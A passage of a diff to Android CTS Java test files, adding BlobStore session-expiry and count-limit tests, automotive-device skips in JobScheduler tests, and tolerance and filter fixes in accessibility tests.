             assertThat(callback.get(TIMEOUT_COMMIT_CALLBACK_SEC, TimeUnit.SECONDS))
@@ -1022,26 +1490,204 @@
 
     @Test
     public void testExpiredSessionsDeleted() throws Exception {
-        final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
-        blobData.prepare();
         final long waitDurationMs = TimeUnit.SECONDS.toMillis(2);
         runWithKeyValues(() -> {
+            final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+            blobData.prepare();
+
+            final long sessionId = mBlobStoreManager.createSession(blobData.getBlobHandle());
+            assertThat(sessionId).isGreaterThan(0L);
+
+            SystemClock.sleep(waitDurationMs);
+
+            // Trigger idle maintenance which takes of deleting expired sessions.
+            triggerIdleMaintenance();
+
+            assertThrows(SecurityException.class, () -> mBlobStoreManager.openSession(sessionId));
+        }, Pair.create(KEY_SESSION_EXPIRY_TIMEOUT_MS, String.valueOf(waitDurationMs)));
+    }
+
+    @Test
+    public void testExpiredSessionsDeleted_withPartialData() throws Exception {
+        final long waitDurationMs = TimeUnit.SECONDS.toMillis(2);
+        runWithKeyValues(() -> {
+            final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+            blobData.prepare();
+
             final long sessionId = mBlobStoreManager.createSession(blobData.getBlobHandle());
             assertThat(sessionId).isGreaterThan(0L);
 
             try (BlobStoreManager.Session session = mBlobStoreManager.openSession(sessionId)) {
-                blobData.writeToSession(session, 0, 100);
+                blobData.writeToSession(session, 0, 100, blobData.getFileSize());
             }
 
             SystemClock.sleep(waitDurationMs);
 
             // Trigger idle maintenance which takes of deleting expired sessions.
-            triggerIdleMaintenance(InstrumentationRegistry.getInstrumentation());
+            triggerIdleMaintenance();
 
             assertThrows(SecurityException.class, () -> mBlobStoreManager.openSession(sessionId));
         }, Pair.create(KEY_SESSION_EXPIRY_TIMEOUT_MS, String.valueOf(waitDurationMs)));
     }
 
+    @Test
+    public void testCreateSession_countLimitExceeded() throws Exception {
+        runWithKeyValues(() -> {
+            final DummyBlobData blobData1 = new DummyBlobData.Builder(mContext).build();
+            blobData1.prepare();
+            final DummyBlobData blobData2 = new DummyBlobData.Builder(mContext).build();
+            blobData2.prepare();
+
+            mBlobStoreManager.createSession(blobData1.getBlobHandle());
+            assertThrows(LimitExceededException.class,
+                    () -> mBlobStoreManager.createSession(blobData2.getBlobHandle()));
+        }, Pair.create(KEY_MAX_ACTIVE_SESSIONS, String.valueOf(1)));
+    }
+
+    @Test
+    public void testCommitSession_countLimitExceeded() throws Exception {
+        runWithKeyValues(() -> {
+            final DummyBlobData blobData1 = new DummyBlobData.Builder(mContext).build();
+            blobData1.prepare();
+            final DummyBlobData blobData2 = new DummyBlobData.Builder(mContext).build();
+            blobData2.prepare();
+
+            commitBlob(blobData1, null /* accessModifier */, 0 /* expectedResult */);
+            commitBlob(blobData2, null /* accessModifier */, 1 /* expectedResult */);
+        }, Pair.create(KEY_MAX_COMMITTED_BLOBS, String.valueOf(1)));
+    }
+
+    @Test
+    public void testLeaseBlob_countLimitExceeded() throws Exception {
+        runWithKeyValues(() -> {
+            final DummyBlobData blobData1 = new DummyBlobData.Builder(mContext).build();
+            blobData1.prepare();
+            final DummyBlobData blobData2 = new DummyBlobData.Builder(mContext).build();
+            blobData2.prepare();
+
+            commitBlob(blobData1);
+            commitBlob(blobData2);
+
+            acquireLease(mContext, blobData1.getBlobHandle(), "test desc");
+            assertThrows(LimitExceededException.class,
+                    () -> acquireLease(mContext, blobData2.getBlobHandle(), "test desc"));
+        }, Pair.create(KEY_MAX_LEASED_BLOBS, String.valueOf(1)));
+    }
+
+    @Test
+    public void testExpiredLease_countLimitExceeded() throws Exception {
+        runWithKeyValues(() -> {
+            final DummyBlobData blobData1 = new DummyBlobData.Builder(mContext).build();
+            blobData1.prepare();
+            final DummyBlobData blobData2 = new DummyBlobData.Builder(mContext).build();
+            blobData2.prepare();
+            final DummyBlobData blobData3 = new DummyBlobData.Builder(mContext).build();
+            blobData3.prepare();
+            final long waitDurationMs = TimeUnit.SECONDS.toMillis(2);
+
+            commitBlob(blobData1);
+            commitBlob(blobData2);
+            commitBlob(blobData3);
+
+            acquireLease(mContext, blobData1.getBlobHandle(), "test desc1",
+                    System.currentTimeMillis() + waitDurationMs);
+            assertThrows(LimitExceededException.class,
+                    () -> acquireLease(mContext, blobData2.getBlobHandle(), "test desc2",
+                            System.currentTimeMillis() + TimeUnit.HOURS.toMillis(4)));
+
+            waitForLeaseExpiration(waitDurationMs, blobData1.getBlobHandle());
+
+            acquireLease(mContext, blobData2.getBlobHandle(), "test desc2",
+                    System.currentTimeMillis() + TimeUnit.HOURS.toMillis(4));
+            assertThrows(LimitExceededException.class,
+                    () -> acquireLease(mContext, blobData3.getBlobHandle(), "test desc3"));
+        }, Pair.create(KEY_MAX_LEASED_BLOBS, String.valueOf(1)));
+    }
+
+    @Test
+    public void testAllowPackageAccess_countLimitExceeded() throws Exception {
+        runWithKeyValues(() -> {
+            final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+            blobData.prepare();
+
+            final long sessionId = mBlobStoreManager.createSession(blobData.getBlobHandle());
+            assertThat(sessionId).isGreaterThan(0L);
+            try (BlobStoreManager.Session session = mBlobStoreManager.openSession(sessionId)) {
+                blobData.writeToSession(session);
+
+                session.allowPackageAccess(HELPER_PKG2, HELPER_PKG2_CERT_SHA256);
+                assertThrows(LimitExceededException.class,
+                        () -> session.allowPackageAccess(HELPER_PKG3, HELPER_PKG3_CERT_SHA256));
+            }
+        }, Pair.create(KEY_MAX_BLOB_ACCESS_PERMITTED_PACKAGES, String.valueOf(1)));
+    }
+
+    @Test
+    public void testBlobHandleEquality() throws Exception {
+        // Check that BlobHandle objects are considered equal when digest, label, expiry time
+        // and tag are equal.
+        {
+            final BlobHandle blobHandle1 = BlobHandle.createWithSha256("digest".getBytes(),
+                    "Dummy blob", 1111L, "tag");
+            final BlobHandle blobHandle2 = BlobHandle.createWithSha256("digest".getBytes(),
+                    "Dummy blob", 1111L, "tag");
+            assertThat(blobHandle1).isEqualTo(blobHandle2);
+        }
+
+        // Check that BlobHandle objects are not equal if digests are not equal.
+        {
+            final BlobHandle blobHandle1 = BlobHandle.createWithSha256("digest1".getBytes(),
+                    "Dummy blob", 1111L, "tag");
+            final BlobHandle blobHandle2 = BlobHandle.createWithSha256("digest2".getBytes(),
+                    "Dummy blob", 1111L, "tag");
+            assertThat(blobHandle1).isNotEqualTo(blobHandle2);
+        }
+
+        // Check that BlobHandle objects are not equal if expiry times are not equal.
+        {
+            final BlobHandle blobHandle1 = BlobHandle.createWithSha256("digest".getBytes(),
+                    "Dummy blob", 1111L, "tag");
+            final BlobHandle blobHandle2 = BlobHandle.createWithSha256("digest".getBytes(),
+                    "Dummy blob", 1112L, "tag");
+            assertThat(blobHandle1).isNotEqualTo(blobHandle2);
+        }
+
+        // Check that BlobHandle objects are not equal if labels are not equal.
+        {
+            final BlobHandle blobHandle1 = BlobHandle.createWithSha256("digest".getBytes(),
+                    "Dummy blob1", 1111L, "tag");
+            final BlobHandle blobHandle2 = BlobHandle.createWithSha256("digest".getBytes(),
+                    "Dummy blob2", 1111L, "tag");
+            assertThat(blobHandle1).isNotEqualTo(blobHandle2);
+        }
+
+        // Check that BlobHandle objects are not equal if tags are not equal.
+        {
+            final BlobHandle blobHandle1 = BlobHandle.createWithSha256("digest".getBytes(),
+                    "Dummy blob", 1111L, "tag1");
+            final BlobHandle blobHandle2 = BlobHandle.createWithSha256("digest".getBytes(),
+                    "Dummy blob", 1111L, "tag2");
+            assertThat(blobHandle1).isNotEqualTo(blobHandle2);
+        }
+    }
+
+    @Test
+    public void testBlobHandleCreation() throws Exception {
+        // Creating a BlobHandle with label > 100 chars will fail
+        {
+            final CharSequence label = String.join("", Collections.nCopies(101, "a"));
+            assertThrows(IllegalArgumentException.class,
+                    () -> BlobHandle.createWithSha256("digest".getBytes(), label, 1111L, "tag"));
+        }
+
+        // Creating a BlobHandle with tag > 128 chars will fail
+        {
+            final String tag = String.join("", Collections.nCopies(129, "a"));
+            assertThrows(IllegalArgumentException.class,
+                    () -> BlobHandle.createWithSha256("digest".getBytes(), "label", 1111L, tag));
+        }
+    }
+
     private static void runWithKeyValues(ThrowingRunnable runnable,
             Pair<String, String>... keyValues) throws Exception {
         final Map<String, String> previousValues = new ArrayMap();
@@ -1076,12 +1722,27 @@
         }
     }
 
-    private void commitBlob(DummyBlobData blobData) throws Exception {
-        commitBlob(blobData, null);
+    private void commitAndVerifyBlob(DummyBlobData blobData) throws Exception {
+        commitBlob(blobData);
+
+        // Verify that blob can be accessed after committing.
+        try (ParcelFileDescriptor pfd = mBlobStoreManager.openBlob(blobData.getBlobHandle())) {
+            assertThat(pfd).isNotNull();
+            blobData.verifyBlob(pfd);
+        }
     }
 
-    private void commitBlob(DummyBlobData blobData,
+    private long commitBlob(DummyBlobData blobData) throws Exception {
+        return commitBlob(blobData, null);
+    }
+
+    private long commitBlob(DummyBlobData blobData,
             AccessModifier accessModifier) throws Exception {
+        return commitBlob(blobData, accessModifier, 0 /* expectedResult */);
+    }
+
+    private long commitBlob(DummyBlobData blobData,
+            AccessModifier accessModifier, int expectedResult) throws Exception {
         final long sessionId = mBlobStoreManager.createSession(blobData.getBlobHandle());
         assertThat(sessionId).isGreaterThan(0L);
         try (BlobStoreManager.Session session = mBlobStoreManager.openSession(sessionId)) {
@@ -1093,8 +1754,9 @@
             final CompletableFuture<Integer> callback = new CompletableFuture<>();
             session.commit(mContext.getMainExecutor(), callback::complete);
             assertThat(callback.get(TIMEOUT_COMMIT_CALLBACK_SEC, TimeUnit.SECONDS))
-                    .isEqualTo(0);
+                    .isEqualTo(expectedResult);
         }
+        return sessionId;
     }
 
     private interface AccessModifier {
@@ -1163,6 +1825,12 @@
                 () -> commandReceiver.openBlob(blobData.getBlobHandle()));
     }
 
+    private void waitForLeaseExpiration(long waitDurationMs, BlobHandle leasedBlob)
+            throws Exception {
+        SystemClock.sleep(waitDurationMs);
+        assertThat(mBlobStoreManager.getLeaseInfo(leasedBlob)).isNull();
+    }
+
     private TestServiceConnection bindToHelperService(String pkg) throws Exception {
         final TestServiceConnection serviceConnection = new TestServiceConnection(mContext);
         final Intent intent = new Intent()
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/IdleConstraintTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/IdleConstraintTest.java
index 3551205..e75d109 100644
--- a/tests/JobScheduler/src/android/jobscheduler/cts/IdleConstraintTest.java
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/IdleConstraintTest.java
@@ -168,7 +168,8 @@
     private boolean isCarModeSupported() {
         // TVs don't support car mode.
         return !getContext().getPackageManager().hasSystemFeature(
-                PackageManager.FEATURE_LEANBACK_ONLY);
+                PackageManager.FEATURE_LEANBACK_ONLY)
+                && !getContext().getSystemService(UiModeManager.class).isUiModeLocked();
     }
 
     /**
@@ -305,7 +306,6 @@
         if (!isCarModeSupported()) {
             return;
         }
-
         runIdleJobStartsOnlyWhenIdle();
 
         setCarMode(true);
@@ -314,6 +314,9 @@
     }
 
     public void testIdleJobStartsOnlyWhenIdle_screenEndsIdle() throws Exception {
+        if (!isCarModeSupported()) {
+            return;
+        }
         runIdleJobStartsOnlyWhenIdle();
 
         toggleScreenOn(true);
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/JobThrottlingTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/JobThrottlingTest.java
index c065b1e..b6d6120 100644
--- a/tests/JobScheduler/src/android/jobscheduler/cts/JobThrottlingTest.java
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/JobThrottlingTest.java
@@ -24,6 +24,7 @@
 
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeFalse;
 import static org.junit.Assume.assumeTrue;
 
 import android.app.AppOpsManager;
@@ -102,6 +103,8 @@
     private boolean mInitialAirplaneModeState;
     private String mInitialJobSchedulerConstants;
     private String mInitialDisplayTimeout;
+    private String mInitialRestrictedBucketEnabled;
+    private boolean mAutomotiveDevice;
 
     private TestAppInterface mTestAppInterface;
 
@@ -155,6 +158,8 @@
         mInitialAirplaneModeState = isAirplaneModeOn();
         mInitialJobSchedulerConstants = Settings.Global.getString(mContext.getContentResolver(),
                 Settings.Global.JOB_SCHEDULER_CONSTANTS);
+        mInitialRestrictedBucketEnabled = Settings.Global.getString(mContext.getContentResolver(),
+                Settings.Global.ENABLE_RESTRICTED_BUCKET);
         // Make sure test jobs can run regardless of bucket.
         Settings.Global.putString(mContext.getContentResolver(),
                 Settings.Global.JOB_SCHEDULER_CONSTANTS, "min_ready_non_active_jobs_count=0");
@@ -162,6 +167,15 @@
         mInitialDisplayTimeout =
                 Settings.System.getString(mContext.getContentResolver(), SCREEN_OFF_TIMEOUT);
         Settings.System.putString(mContext.getContentResolver(), SCREEN_OFF_TIMEOUT, "300000");
+
+        // In automotive device, always-on screen and endless battery charging are assumed.
+        mAutomotiveDevice =
+                mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE);
+        if (mAutomotiveDevice) {
+            setScreenState(true);
+            // TODO(b/159176758): make sure that initial power supply is on.
+            BatteryUtils.runDumpsysBatterySetPluggedIn(true);
+        }
     }
 
     @Test
@@ -281,6 +295,9 @@
     @Test
     public void testJobsInRestrictedBucket_ParoleSession() throws Exception {
         assumeTrue("app standby not enabled", mAppStandbyEnabled);
+        assumeFalse("not testable in automotive device", mAutomotiveDevice);
+
+        setRestrictedBucketEnabled(true);
 
         // Disable coalescing
         Settings.Global.putString(mContext.getContentResolver(),
@@ -304,6 +321,9 @@
     @Test
     public void testJobsInRestrictedBucket_NoRequiredNetwork() throws Exception {
         assumeTrue("app standby not enabled", mAppStandbyEnabled);
+        assumeFalse("not testable in automotive device", mAutomotiveDevice);
+
+        setRestrictedBucketEnabled(true);
 
         // Disable coalescing and the parole session
         Settings.Global.putString(mContext.getContentResolver(),
@@ -339,9 +359,12 @@
     @Test
     public void testJobsInRestrictedBucket_WithRequiredNetwork() throws Exception {
         assumeTrue("app standby not enabled", mAppStandbyEnabled);
+        assumeFalse("not testable in automotive device", mAutomotiveDevice);
         assumeTrue(mHasWifi);
         ensureSavedWifiNetwork(mWifiManager);
 
+        setRestrictedBucketEnabled(true);
+
         // Disable coalescing and the parole session
         Settings.Global.putString(mContext.getContentResolver(),
                 Settings.Global.JOB_SCHEDULER_QUOTA_CONTROLLER_CONSTANTS,
@@ -386,6 +409,7 @@
     @Test
     public void testJobsInNeverApp() throws Exception {
         assumeTrue("app standby not enabled", mAppStandbyEnabled);
+        assumeFalse("not testable in automotive device", mAutomotiveDevice);
 
         BatteryUtils.runDumpsysBatteryUnplug();
         setTestPackageStandbyBucket(Bucket.NEVER);
@@ -396,6 +420,8 @@
 
     @Test
     public void testUidActiveBypassesStandby() throws Exception {
+        assumeFalse("not testable in automotive device", mAutomotiveDevice);
+
         BatteryUtils.runDumpsysBatteryUnplug();
         setTestPackageStandbyBucket(Bucket.NEVER);
         tempWhitelistTestApp(6_000);
@@ -407,6 +433,7 @@
 
     @Test
     public void testBatterySaverOff() throws Exception {
+        assumeFalse("not testable in automotive device", mAutomotiveDevice);
         BatteryUtils.assumeBatterySaverFeature();
 
         BatteryUtils.runDumpsysBatteryUnplug();
@@ -418,6 +445,7 @@
 
     @Test
     public void testBatterySaverOn() throws Exception {
+        assumeFalse("not testable in automotive device", mAutomotiveDevice);
         BatteryUtils.assumeBatterySaverFeature();
 
         BatteryUtils.runDumpsysBatteryUnplug();
@@ -429,6 +457,7 @@
 
     @Test
     public void testUidActiveBypassesBatterySaverOn() throws Exception {
+        assumeFalse("not testable in automotive device", mAutomotiveDevice);
         BatteryUtils.assumeBatterySaverFeature();
 
         BatteryUtils.runDumpsysBatteryUnplug();
@@ -441,6 +470,7 @@
 
     @Test
     public void testBatterySaverOnThenUidActive() throws Exception {
+        assumeFalse("not testable in automotive device", mAutomotiveDevice);
         BatteryUtils.assumeBatterySaverFeature();
 
         // Enable battery saver, and schedule a job. It shouldn't run.
@@ -481,6 +511,8 @@
         }
         Settings.Global.putString(mContext.getContentResolver(),
                 Settings.Global.JOB_SCHEDULER_CONSTANTS, mInitialJobSchedulerConstants);
+        Settings.Global.putString(mContext.getContentResolver(),
+                Settings.Global.ENABLE_RESTRICTED_BUCKET, mInitialRestrictedBucketEnabled);
         if (isAirplaneModeOn() != mInitialAirplaneModeState) {
             setAirplaneMode(mInitialAirplaneModeState);
         }
@@ -497,6 +529,11 @@
                 restricted ? AppOpsManager.MODE_IGNORED : AppOpsManager.MODE_ALLOWED);
     }
 
+    private void setRestrictedBucketEnabled(boolean enabled) {
+        Settings.Global.putString(mContext.getContentResolver(),
+                Settings.Global.ENABLE_RESTRICTED_BUCKET, enabled ? "1" : "0");
+    }
+
     private boolean isTestAppTempWhitelisted() throws Exception {
         final String output = mUiDevice.executeShellCommand("cmd deviceidle tempwhitelist").trim();
         for (String line : output.split("\n")) {
diff --git a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityNodeInfoTest.java b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityNodeInfoTest.java
index f6a3cf2..3b56fb5 100644
--- a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityNodeInfoTest.java
+++ b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityNodeInfoTest.java
@@ -18,6 +18,7 @@
 
 import static androidx.test.InstrumentationRegistry.getContext;
 
+import static org.junit.Assert.assertArrayEquals;
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNull;
@@ -35,8 +36,10 @@
 import android.text.InputType;
 import android.text.Spannable;
 import android.text.SpannableString;
+import android.text.Spanned;
 import android.text.TextUtils;
 import android.text.style.ImageSpan;
+import android.text.style.ReplacementSpan;
 import android.util.ArrayMap;
 import android.view.View;
 import android.view.accessibility.AccessibilityEvent;
@@ -46,7 +49,6 @@
 import android.view.accessibility.AccessibilityNodeInfo.CollectionItemInfo;
 import android.view.accessibility.AccessibilityNodeInfo.RangeInfo;
 import android.view.accessibility.AccessibilityNodeInfo.TouchDelegateInfo;
-import android.view.accessibility.AccessibilityWindowInfo;
 
 import androidx.test.filters.SmallTest;
 import androidx.test.runner.AndroidJUnit4;
@@ -248,22 +250,37 @@
 
     @SmallTest
     @Test
-    public void testSetTextWithImageSpan_shouldTextSetToInfo() {
+    public void testParcelTextImageSpans_haveSameContentDescriptions() {
         final Bitmap bitmap = Bitmap.createBitmap(/* width= */10, /* height= */10,
                 Bitmap.Config.ARGB_8888);
-        final ImageSpan imageSpan = new ImageSpan(getContext(), bitmap);
-        final String testString = "test string";
-        final String replacementString = " ";
-        final SpannableString textWithImageSpan = new SpannableString(testString);
-        final int indexIconStart = testString.indexOf(replacementString);
-        final int indexIconEnd = indexIconStart + replacementString.length();
-        textWithImageSpan.setSpan(imageSpan, /* start= */indexIconStart,/* end= */indexIconEnd,
-                /* flags= */Spannable.SPAN_EXCLUSIVE_EXCLUSIVE);
+        final ImageSpan span1 = new ImageSpan(getContext(), bitmap);
+        span1.setContentDescription("Span1 contentDescription");
+        final ImageSpan span2 = new ImageSpan(getContext(), bitmap);
+        span2.setContentDescription("Span2 contentDescription");
+        final String testString = "test string%s";
+        final String replaceSpan1 = " ";
+        final String replaceSpan2 = "%s";
+        final Spannable stringWithSpans = new SpannableString(testString);
+        final int span1Start = testString.indexOf(replaceSpan1);
+        final int span1End = span1Start + replaceSpan1.length();
+        final int span2Start = testString.indexOf(replaceSpan2);
+        final int span2End = span2Start + replaceSpan2.length();
+        final AccessibilityNodeInfo sentInfo = AccessibilityNodeInfo.obtain();
+        final Parcel parcel = Parcel.obtain();
 
-        AccessibilityNodeInfo info = AccessibilityNodeInfo.obtain();
-        info.setText(textWithImageSpan);
+        stringWithSpans.setSpan(span1, span1Start, span1End, Spannable.SPAN_EXCLUSIVE_EXCLUSIVE);
+        stringWithSpans.setSpan(span2, span2Start, span2End, Spannable.SPAN_EXCLUSIVE_EXCLUSIVE);
+        sentInfo.setText(stringWithSpans);
+        sentInfo.writeToParcelNoRecycle(parcel, 0);
+        parcel.setDataPosition(0);
+        final AccessibilityNodeInfo receivedInfo = AccessibilityNodeInfo.CREATOR.createFromParcel(
+                parcel);
+        final Spanned receivedString = (Spanned) receivedInfo.getText();
+        final ReplacementSpan[] actualSpans = receivedString.getSpans(0, receivedString.length(),
+                ReplacementSpan.class);
 
-        assertEquals(testString, info.getText().toString());
+        assertEquals(span1.getContentDescription(), actualSpans[0].getContentDescription());
+        assertEquals(span2.getContentDescription(), actualSpans[1].getContentDescription());
     }
 
     @SmallTest
@@ -696,7 +713,6 @@
         assertFalse("isTextEntryKey not properly reset", info.isTextEntryKey());
     }
 
-
     private static class MockBinder extends Binder {
     }
 }
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDispatchTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDispatchTest.java
index aac61c4..10c7542 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDispatchTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDispatchTest.java
@@ -217,6 +217,7 @@
             return;
         }
 
+        float pointTolerance = 1f;
         PointF startPoint = new PointF(mStartPoint.x, mStartPoint.y);
         PointF endPoint = new PointF(mStartPoint.x + 10, mStartPoint.y + 20);
         int gestureTime = 500;
@@ -229,8 +230,9 @@
 
         MotionEvent downEvent = mMotionEvents.get(0);
         MotionEvent upEvent = mMotionEvents.get(numEvents - 1);
-        assertThat(downEvent, both(IS_ACTION_DOWN).and(isAtPoint(startPoint)));
-        assertThat(upEvent, both(IS_ACTION_UP).and(isAtPoint(endPoint)));
+        assertThat(downEvent, both(IS_ACTION_DOWN).and(isAtPoint(startPoint,
+                    pointTolerance)));
+        assertThat(upEvent, both(IS_ACTION_UP).and(isAtPoint(endPoint, pointTolerance)));
         assertEquals(gestureTime, upEvent.getEventTime() - downEvent.getEventTime());
 
         long lastEventTime = downEvent.getEventTime();
@@ -240,8 +242,9 @@
             float fractionOfSwipe =
                     ((float) (moveEvent.getEventTime() - downEvent.getEventTime())) / gestureTime;
             PointF intermediatePoint = add(startPoint,
-                    ceil(times(fractionOfSwipe, diff(endPoint, startPoint))));
-            assertThat(moveEvent, both(IS_ACTION_MOVE).and(isAtPoint(intermediatePoint)));
+                    times(fractionOfSwipe, diff(endPoint, startPoint)));
+            assertThat(moveEvent, both(IS_ACTION_MOVE).and(
+                isAtPoint(intermediatePoint, pointTolerance)));
             lastEventTime = moveEvent.getEventTime();
         }
     }
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityTextActionTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityTextActionTest.java
index b2fc2c5..566ccac 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityTextActionTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityTextActionTest.java
@@ -259,7 +259,7 @@
 
         ReplacementSpan replacementSpanFromA11y = findSingleSpanInViewWithText(R.string.a_b,
                 ReplacementSpan.class);
-        
+
         assertEquals(contentDescription, replacementSpanFromA11y.getContentDescription());
     }
 
@@ -480,8 +480,8 @@
         final int expectedHeightInPx = textView.getLayoutParams().height;
         final float expectedTextSize = textView.getTextSize();
         final float newTextSize = 20f;
-        final float expectedNewTextSize = (int) (0.5f + TypedValue.applyDimension(
-                TypedValue.COMPLEX_UNIT_SP, newTextSize, displayMetrics));
+        final float expectedNewTextSize = TypedValue.applyDimension(TypedValue.COMPLEX_UNIT_SP,
+                newTextSize, displayMetrics);
         makeTextViewVisibleAndSetText(textView, stringToSet);
 
         final AccessibilityNodeInfo info = sUiAutomation.getRootInActiveWindow()
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowQueryTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowQueryTest.java
index b37358f..252fbcb 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowQueryTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowQueryTest.java
@@ -150,11 +150,13 @@
     }
 
     private final AccessibilityEventFilter mDividerPresentFilter = (event) ->
-            (event.getEventType() == AccessibilityEvent.TYPE_WINDOWS_CHANGED)
+            (event.getEventType() == AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED
+                    || event.getEventType() == TYPE_WINDOWS_CHANGED)
                     && isDividerWindowPresent();
 
     private final AccessibilityEventFilter mDividerAbsentFilter = (event) ->
-            (event.getEventType() == AccessibilityEvent.TYPE_WINDOWS_CHANGED)
+            (event.getEventType() == AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED
+                    || event.getEventType() == TYPE_WINDOWS_CHANGED)
                     && !isDividerWindowPresent();
 
     @MediumTest
@@ -700,11 +702,14 @@
     }
 
     private boolean isDividerWindowPresent() {
-        List<AccessibilityWindowInfo> windows = sUiAutomation.getWindows();
+        final List<AccessibilityWindowInfo> windows = sUiAutomation.getWindows();
         final int windowCount = windows.size();
         for (int i = 0; i < windowCount; i++) {
-            AccessibilityWindowInfo window = windows.get(i);
-            if (window.getType() == AccessibilityWindowInfo.TYPE_SPLIT_SCREEN_DIVIDER) {
+            final AccessibilityWindowInfo window = windows.get(i);
+            final AccessibilityNodeInfo rootNode = window.getRoot();
+            if (window.getType() == AccessibilityWindowInfo.TYPE_SPLIT_SCREEN_DIVIDER &&
+                    rootNode != null &&
+                    rootNode.isVisibleToUser()) {
                 return true;
             }
         }
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/MagnificationGestureHandlerTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/MagnificationGestureHandlerTest.java
index 8393012..c64eaa3 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/MagnificationGestureHandlerTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/MagnificationGestureHandlerTest.java
@@ -51,6 +51,7 @@
 import android.graphics.PointF;
 import android.platform.test.annotations.AppModeFull;
 import android.provider.Settings;
+import android.view.ViewConfiguration;
 import android.widget.TextView;
 
 import androidx.test.InstrumentationRegistry;
@@ -105,7 +106,6 @@
     @Before
     public void setUp() throws Exception {
         mInstrumentation = InstrumentationRegistry.getInstrumentation();
-
         PackageManager pm = mInstrumentation.getContext().getPackageManager();
         mHasTouchscreen = pm.hasSystemFeature(PackageManager.FEATURE_TOUCHSCREEN)
                 || pm.hasSystemFeature(PackageManager.FEATURE_FAKETOUCH);
@@ -179,7 +179,11 @@
 
     @Test
     public void testPanning() {
-        if (!mHasTouchscreen) return;
+        //The minimum movement to transit to panningState.
+        final float minSwipeDistance = ViewConfiguration.get(
+                mInstrumentation.getContext()).getScaledTouchSlop();
+        final boolean screenBigEnough = mPan > minSwipeDistance;
+        if (!mHasTouchscreen || !screenBigEnough) return;
         assertFalse(isZoomed());
 
         setZoomByTripleTapping(true);
@@ -190,7 +194,8 @@
                 swipe(mTapLocation2, add(mTapLocation2, -mPan, 0)));
 
         waitOn(mZoomLock,
-                () -> (mCurrentZoomCenter.x - oldCenter.x >= mPan / mCurrentScale * 0.9));
+                () -> (mCurrentZoomCenter.x - oldCenter.x
+                        >= (mPan - minSwipeDistance) / mCurrentScale * 0.9));
 
         setZoomByTripleTapping(false);
     }
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/TouchExplorerTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/TouchExplorerTest.java
index b1bb32e..80a3054 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/TouchExplorerTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/TouchExplorerTest.java
@@ -17,20 +17,14 @@
 package android.accessibilityservice.cts;
 
 import static android.accessibilityservice.cts.utils.AsyncUtils.await;
-import static android.accessibilityservice.cts.utils.GestureUtils.IS_ACTION_DOWN;
-import static android.accessibilityservice.cts.utils.GestureUtils.IS_ACTION_UP;
 import static android.accessibilityservice.cts.utils.GestureUtils.add;
-import static android.accessibilityservice.cts.utils.GestureUtils.ceil;
 import static android.accessibilityservice.cts.utils.GestureUtils.click;
-import static android.accessibilityservice.cts.utils.GestureUtils.diff;
 import static android.accessibilityservice.cts.utils.GestureUtils.dispatchGesture;
 import static android.accessibilityservice.cts.utils.GestureUtils.doubleTap;
 import static android.accessibilityservice.cts.utils.GestureUtils.doubleTapAndHold;
-import static android.accessibilityservice.cts.utils.GestureUtils.isRawAtPoint;
 import static android.accessibilityservice.cts.utils.GestureUtils.multiTap;
 import static android.accessibilityservice.cts.utils.GestureUtils.secondFingerMultiTap;
 import static android.accessibilityservice.cts.utils.GestureUtils.swipe;
-import static android.accessibilityservice.cts.utils.GestureUtils.times;
 import static android.view.MotionEvent.ACTION_DOWN;
 import static android.view.MotionEvent.ACTION_HOVER_ENTER;
 import static android.view.MotionEvent.ACTION_HOVER_EXIT;
@@ -49,9 +43,6 @@
 import static android.view.accessibility.AccessibilityEvent.TYPE_VIEW_CLICKED;
 import static android.view.accessibility.AccessibilityEvent.TYPE_VIEW_LONG_CLICKED;
 
-import static org.hamcrest.CoreMatchers.both;
-import static org.hamcrest.MatcherAssert.assertThat;
-
 import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
 import android.accessibility.cts.common.InstrumentedAccessibilityServiceTestRule;
 import android.accessibilityservice.GestureDescription;
@@ -71,7 +62,6 @@
 import android.platform.test.annotations.AppModeFull;
 import android.util.DisplayMetrics;
 import android.view.Display;
-import android.view.MotionEvent;
 import android.view.View;
